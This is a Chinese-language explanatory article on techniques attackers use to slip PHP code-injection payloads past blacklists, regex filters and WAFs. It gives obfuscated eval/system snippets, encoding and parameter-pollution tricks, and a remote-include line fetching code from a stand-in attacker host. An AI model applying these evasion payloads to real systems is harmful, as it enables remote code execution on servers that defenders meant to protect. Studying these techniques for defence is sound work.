绕过PHP代码注入检测的核心在于利用PHP语言特性、编码混淆及WAF处理漏洞。攻击者通过变量函数（如$func='eval'）、字符串拼接、chr()、base64_decode等函数隐藏恶意代码，或使用注释、编码分割关键字以逃避黑名单和正则检测。针对WAF，常采用分块传输、HTTP参数污染、双重编码等方式干扰其解析与匹配机制，从而实现绕过。
PHP代码注入检测的绕过技巧，说白了，就是攻击者想方设法让恶意代码在服务器上执行，同时又躲过那些专门盯着可疑模式看的安全防护措施，比如WAF或者代码里的过滤器。核心思路无非是利用PHP语言的灵活性、检测机制的盲区，以及各种编码、混淆手段来“伪装”恶意代码，让它们看起来无害，或者干脆让检测器“看不懂”。这就像玩猫捉老鼠的游戏，猫有它的抓捕逻辑，老鼠就得琢磨怎么跳出这个逻辑框架。
解决方案
要绕过PHP代码注入检测，攻击者通常会从几个维度入手：一是利用PHP语言本身的一些特性，比如变量函数、字符串操作函数、或者PHP对各种编码的宽容度；二是针对检测机制的弱点，比如简单的黑名单过滤、不完善的正则表达式，甚至是WAF规则的特定漏洞；三是通过改变数据传输方式，让检测器无法完整地解析请求内容。这其中包含的技巧非常多，从简单的混淆到复杂的协议层绕过，目的都是为了让那个本该被拦截的
eval($_GET['cmd'])或者
system($_POST['cmd'])能够顺利执行。
常见的PHP代码注入检测机制有哪些，它们是如何工作的？
在我看来，理解绕过技巧，首先得搞清楚我们到底在绕过什么。最常见的PHP代码注入检测机制，无非是那几板斧：黑名单关键字过滤、正则表达式匹配，以及更高级一点的Web应用防火墙（WAF）。
黑名单/关键字过滤：这算是最基础也最容易被绕过的防护了。它通常维护一个“坏词”列表，比如
eval、
system、
exec、
passthru等等。当用户输入中包含这些关键字时，就直接拦截。这种方法的致命弱点在于，攻击者只要找到这些关键字的替代品，或者通过各种手段“拆分”关键字，就能轻松绕过。比如说，
eval可以写成
e.v.a.l，或者利用字符串拼接，
'e'.'val'，甚至
chr(101).chr(118).chr(97).chr(108)，对PHP来说都是
eval，但对简单的黑名单来说，它们可能就不是了。
立即学习“PHP免费学习笔记（深入）”；
正则表达式匹配：比黑名单稍微高级一点，它能识别更复杂的模式，比如
eval\s*\(或者
system\s*\([^)]+\)。正则表达式的强大在于它的模式匹配能力，可以捕获很多变种。然而，编写一个完美无缺的正则表达式来覆盖所有可能的注入方式几乎是不可能的。PHP的语法本身就非常灵活，有太多方式可以达到相同的效果。攻击者可能会利用正则匹配的贪婪/非贪婪模式缺陷、回溯限制，或者干脆用一些非常规的PHP语法糖来逃避匹配。我个人觉得，正则在某些场景下效率很高，但面对有心人的精心构造，它也常常力不从心。
WAF（Web应用防火墙）：WAF是更全面的防护，它不仅看关键字和模式，还会分析HTTP请求的各个部分，甚至尝试理解请求的意图。很多WAF都有自己的规则集，比如ModSecurity。它们会尝试对输入进行解码（URL解码、HTML实体解码等），然后应用规则。WAF的挑战在于，它需要在不影响正常业务的前提下，尽可能多地拦截恶意请求。这就导致WAF往往会存在误报（False Positive）和漏报（False Negative）的问题。攻击者会研究WAF的规则集，寻找其中的逻辑漏洞，或者利用WAF处理请求的特定方式（比如分块传输、HTTP参数污染）来绕过检测。在我看来，WAF更像一个经验丰富的门卫，他知道哪些人可能可疑，但总有那么些“伪装高手”能混进去。
攻击者如何利用PHP的特性来绕过注入检测？
PHP语言的灵活性，在我看来，既是它的魅力所在，也是安全风险的根源。攻击者恰恰就喜欢利用这些“特性”来绕过检测。
变量函数与回调函数：这是PHP绕过的一大利器。比如，
eval、
system这些危险函数，可以直接通过字符串变量来调用。
$func = 'eval'; $func('phpinfo();');。如果检测器只盯着字面上的eval，那它就可能错过这种形式。更进一步，
call_user_func、
call_user_func_array这些回调函数，可以动态地调用任何函数，包括危险函数。攻击者可以把要执行的命令作为参数传给这些函数，检测器就更难追踪了。
字符串操作与编码：PHP对字符串的处理非常宽容，这给了攻击者巨大的操作空间。
-
chr()
函数：可以将ASCII码转换为字符。chr(101).chr(118).chr(97).chr(108)
就变成了eval
。检测器如果不对chr()
的结果进行还原，就很容易被绕过。 -
base64_decode()
：对base64
编码的字符串进行解码。eval(base64_decode('cGhwaW5mbygpOw=='));。这种方式非常常见，因为它可以把整个恶意代码块隐藏起来。 -
URL编码：
%65%76%61%6c
也是eval
。WAF通常会进行URL解码，但如果攻击者进行双重甚至多重编码，或者在非预期的地方使用编码，WAF可能就只会解码一次，导致绕过。 -
十六进制编码：
eval(hex2bin('706870696e666f28293b'))。和base64
类似，也是一种隐藏手段。 -
字符串拼接：
$a = 'ev'; $b = 'al'; $c = $a.$b; $c('phpinfo();');。这种方式通过分解关键字，再动态组合，绕过那些只检查完整关键字的过滤器。
注释的使用：PHP支持多种注释风格（
//、
#、
/* ... */）。攻击者可以利用注释来“分割”关键字，或者插入无意义字符来干扰正则表达式匹配。例如，
ev/*comment*/al，或者
sy#comment#stem。
反引号执行：PHP中，反引号（
`）内的内容会被当作shell命令执行。这其实是
shell_exec()的语法糖。如果
shell_exec()被禁用了，但反引号没有被特殊处理，就可能被利用。例如，
`ls -la`。
PHP配置与环境特性：
-
allow_url_include
：如果开启，攻击者可以远程包含恶意文件，从而执行代码。include 'http://attacker.com/malicious.txt';
。 -
open_basedir
：如果配置不当，或者有办法绕过，攻击者可以访问到不该访问的文件。 -
disable_functions
：如果管理员没有禁用所有危险函数，或者禁用列表不完整，攻击者就会寻找那些漏网之鱼。
针对WAF和高级检测系统的绕过策略有哪些？
WAF虽然比简单的过滤器强大，但它也不是万能的。针对WAF和高级检测系统，绕过策略往往更侧重于利用协议特性、WAF规则逻辑，或者更巧妙的混淆。
分块传输编码（Chunked Transfer Encoding）：HTTP/1.1支持分块传输，服务器接收到数据块后才会重新组装。有些WAF可能只检查请求的头部或者前几个数据块，而没有对完整的请求体进行重组和分析。攻击者可以将恶意载荷分散到不同的数据块中，或者在数据块之间插入垃圾数据，从而绕过WAF的深度检测。
HTTP参数污染（HTTP Parameter Pollution - HPP）：当一个HTTP请求中包含多个同名参数时，不同的Web服务器、应用服务器或WAF对这些参数的处理方式可能不同。例如，
?cmd=ls&cmd=-la，PHP可能会取最后一个
cmd的值，而WAF可能只检查第一个或合并所有值。攻击者可以利用这种差异，将恶意载荷分割到多个同名参数中，或者用一个参数绕过WAF，用另一个参数传递实际的攻击载荷。
利用WAF规则集漏洞：WAF的规则集是人工编写或机器学习生成的，总会有其局限性。攻击者会研究常见的WAF规则，例如ModSecurity的规则，然后寻找这些规则的边界条件、正则表达式的缺陷或者逻辑上的漏洞。比如，某个规则可能只匹配
eval(，那么
eval (（中间多一个空格）就可能绕过。或者利用一些不常见的HTTP头、请求方法来尝试绕过。
编码混淆与双重编码：WAF通常会进行一次URL解码，但如果攻击者对载荷进行多次URL编码，或者使用其他编码（如HTML实体编码），WAF可能就无法完全还原出原始的恶意代码。例如，
%2565%2576%2561%256c（双重URL编码的
eval）。WAF可能只解码一次，看到的是
%65%76%61%6c，认为这不是危险关键字，从而放行。
利用非标准协议或协议变种：虽然PHP代码注入主要发生在HTTP请求中，但如果应用与后端服务之间存在其他通信协议，并且这些协议的解析逻辑存在差异，也可能被利用。不过这通常属于更复杂的攻击场景。
时间盲注或错误盲注：当攻击者无法直接看到代码执行的结果时，他们可能会尝试利用时间延迟（如
sleep()）或者触发可预测的错误来判断代码是否被执行。虽然这更多见于SQL注入，但其原理也可以应用于某些RCE场景，通过观察服务器响应时间或错误信息来判断注入是否成功。这对于WAF来说，是很难通过模式匹配来检测的，因为它看起来只是一个普通的请求，只是响应时间异常。
总的来说，绕过检测是一场持续的攻防战。攻击者不断寻找新的PHP特性、编码方式和协议漏洞，而防御者则需要不断更新规则、加强检测深度和广度。在我看来，没有一劳永逸的解决方案，只有不断学习、迭代和适应。
